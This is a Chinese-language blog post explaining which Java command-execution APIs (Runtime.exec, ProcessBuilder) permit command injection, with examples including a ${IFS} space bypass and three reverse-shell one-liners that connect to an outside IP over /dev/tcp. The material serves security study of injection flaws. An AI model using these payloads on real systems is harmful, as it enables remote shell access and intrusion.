java中關(guān)于命令執(zhí)行匯總
一、Java中可執(zhí)行命令的API
java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()
命令執(zhí)行漏洞只關(guān)注 第一個String參數(shù) 或者 String[]或列表的第一個元素
- 如果該參數(shù)完全可控,或者是/bin/bash(Linux)或cmd(Windows)等運(yùn)行shell解析器的命令、后面的部分可控,則可以注入。
- 如果的哥參數(shù)是bat或者sh腳本文件,后面的參數(shù)可控,則需要根據(jù)腳本如何使用可控參數(shù)來判斷是否可以注入。
其他API:
ScriptEngine接口:
可使用ScriptEngine.eval解析多種腳本,比如JavaScript,而JavaScript中可以執(zhí)行java命令。
二、說明
java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接啟動傳入?yún)?shù)對應(yīng)的進(jìn)程。
以curl為例,php的system會啟動系統(tǒng)shell,然后通過shell來啟動curl進(jìn)程,這個過程中,如果傳入的命令帶有shell能解析的語法,就會首先解析。
所以,如果只是命令執(zhí)行的部分參數(shù)可控,想在java中通過;、|、&等實(shí)現(xiàn)命令注入,是行不通的。
當(dāng)然不排除程序本身存在漏洞,只需傳入?yún)?shù)即可造成漏洞。
1、ProcessBuilder
第一種情況:某個參數(shù)可控
new ProcessBuilder(new String[]{"ls", "-lh", dir};); //不可執(zhí)行。這種情況下因?yàn)椴皇侵荒軋?zhí)行l(wèi)s命令,后面的均為ls的參數(shù)。
第二種情況:完全可控
只能執(zhí)行一些沒有參數(shù)的命令,因?yàn)镻rocessBuilder不支持以字符串形式傳入命令,只能拆分成List或者數(shù)組的形式傳入,才能執(zhí)行。
// String cmd = "xx"; ProcessBuilder builder = new ProcessBuilder(cmd); Process process = builder.start(); //部分任意執(zhí)行。這種情況可執(zhí)行沒有參數(shù)的命令,原因?yàn)檫@里 cmd 的值表示的是執(zhí)行命令的文件路徑,因此無法使用參數(shù)
第三種情況:shell環(huán)境下的某個參數(shù)可控
new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};); //不可任意執(zhí)行。這種情況下,dir 傳入 pwd 或 ;pwd 都無法執(zhí)行,因?yàn)橹挥?echo test 會作為 -c 選項(xiàng)的參數(shù)值 new ProcessBuilder(new String[]{"sh", "-c", "ls -lh " + dir};); //可執(zhí)行不帶參數(shù)的命令。dir 參數(shù)用戶可控,如果傳入如 && pwd,則可以成功執(zhí)行 pwd 命令
2、Runtime
Runtime的exec(String command)其內(nèi)部調(diào)用了exec(String command, String[] envp, File dir),傳入的字符串命令會先經(jīng)過 StringTokenizer 進(jìn)行處理,即使用分隔符,包括空格,\t\n\r\f 對字符串進(jìn)行分隔后,再調(diào)用 exec(String[] cmdarray, String[] envp, File dir),最后是通過ProcessBuilder 來執(zhí)行的。
第一種情況:
如果參數(shù)完全可控,則可以執(zhí)行任意命令
Process process = runtime.exec("sh -c whoami");
第二種情況:
若沒有手動創(chuàng)建 shell 執(zhí)行命令,沒有存在參數(shù)注入,則無法實(shí)現(xiàn)命令注入
Process process = runtime.exec("ping -c 1 " + ip); //這種傳入 127.0.0.1 | id,是無法正常執(zhí)行的
第三種情況:
手動創(chuàng)建 shell 執(zhí)行命令,可執(zhí)行-c 的參數(shù)值的命令,但值內(nèi)不能有空格、\t\n\r\f 分隔符,否則會被分割
// 相當(dāng)于執(zhí)行 sh -c curl,example.com 參數(shù)會被忽略 String cmd = "sh -c curl example.com"; // \t 也是分割符之一 String cmd = "sh -c curl\texample.com"; // 使用 ${IFS} (對應(yīng)內(nèi)部字段分隔符) 來代替空格,成功執(zhí)行 String cmd = "sh -c curl${IFS}example.com";
三、在exec中反彈shell命令
方法一:
"Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"
方法二:
"Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"
方法三:
str = 命令寫這里。
cmd = "sh -c $@ | sh . echo" + str "Runtime.getRuntime().exec(cmd)"
總結(jié)
以上為個人經(jīng)驗(yàn),希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
我從jdk1.8升級到j(luò)dk11所遇到的坑都有這些
這篇文章主要介紹了從jdk1.8升級到j(luò)dk11將會遇到的一些坑,本文給大家分享解決方案對大家的學(xué)習(xí)或工作具有參考借鑒價值,對jdk1.8升級到j(luò)dk11相關(guān)知識感興趣的朋友,快來看看吧2021-08-08idea報錯:java程序包c(diǎn)om.github.xiaoymin.knife4j.spring.annotations
這篇文章主要介紹了idea報錯:java程序包c(diǎn)om.github.xiaoymin.knife4j.spring.annotations不存在問題解決,需要的朋友可以參考下2023-06-06SpringBoot實(shí)現(xiàn)發(fā)送電子郵件
這篇文章主要介紹了SpringBoot實(shí)現(xiàn)發(fā)送電子郵件,電子郵件是—種用電子手段提供信息交換的通信方式,是互聯(lián)網(wǎng)應(yīng)用最廣的服務(wù)。通過網(wǎng)絡(luò)的電子郵件系統(tǒng),用戶可以非??焖俚姆绞?,與世界上任何一個角落的網(wǎng)絡(luò)用戶聯(lián)系,下面就來看看SpringBoot如何實(shí)現(xiàn)發(fā)送電子郵件吧2022-01-01詳解Java中CountDownLatch異步轉(zhuǎn)同步工具類
今天給大家?guī)淼氖顷P(guān)于Java的相關(guān)知識,文章圍繞著CountDownLatch異步轉(zhuǎn)同步工具類展開,文中有非常詳細(xì)的介紹及代碼示例,需要的朋友可以參考下2021-06-06SpringBoot?項(xiàng)目中創(chuàng)建線程池
這篇文章主要介紹了SpringBoot?項(xiàng)目中創(chuàng)建線程池,文章基于Spring?Boot項(xiàng)目創(chuàng)建線程池ThreadPoolExecutor,需要的小伙伴可以參考一下2022-04-04SpringCloud讀取Nacos配置中心報錯及遇到的坑:Could?not?resolve?placehold
這篇文章主要介紹了SpringCloud讀取Nacos配置中心報錯:Could?not?resolve?placeholder?‘xxx’?in?value?‘${xxx},本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2023-03-03Java連接SQL?Server數(shù)據(jù)庫的超詳細(xì)教程
在Java應(yīng)用程序中我們經(jīng)常需要與數(shù)據(jù)庫進(jìn)行交互,一種常見的數(shù)據(jù)庫是Microsoft?SQL?Server,下面這篇文章主要給大家介紹了關(guān)于Java連接SQL?Server數(shù)據(jù)庫的超詳細(xì)教程,需要的朋友可以參考下2024-01-01